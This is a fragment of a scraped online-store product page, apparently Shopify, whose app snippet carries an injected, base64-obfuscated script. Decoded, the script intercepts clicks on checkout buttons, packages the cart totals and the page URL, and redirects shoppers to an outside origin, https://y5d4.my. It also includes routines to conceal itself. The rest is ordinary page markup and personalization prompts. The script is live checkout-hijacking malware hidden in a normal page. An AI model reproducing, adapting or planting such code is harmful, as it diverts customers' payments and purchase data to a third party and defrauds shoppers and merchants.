AwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link+href='x" target="_blank">Preview</a>
</span>
</div></div>
</div></div>
</div></div>
</div>
<!-- END app snippet -->
ADD YOUR PERSONALIZATION DETAILS AND ANY OTHER INSTRUCTIONS REGARDING YOUR ORDER.
ADD YOUR PERSONALIZATION DETAILS AND ANY OTHER INSTRUCTIONS REGARDING YOUR ORDER.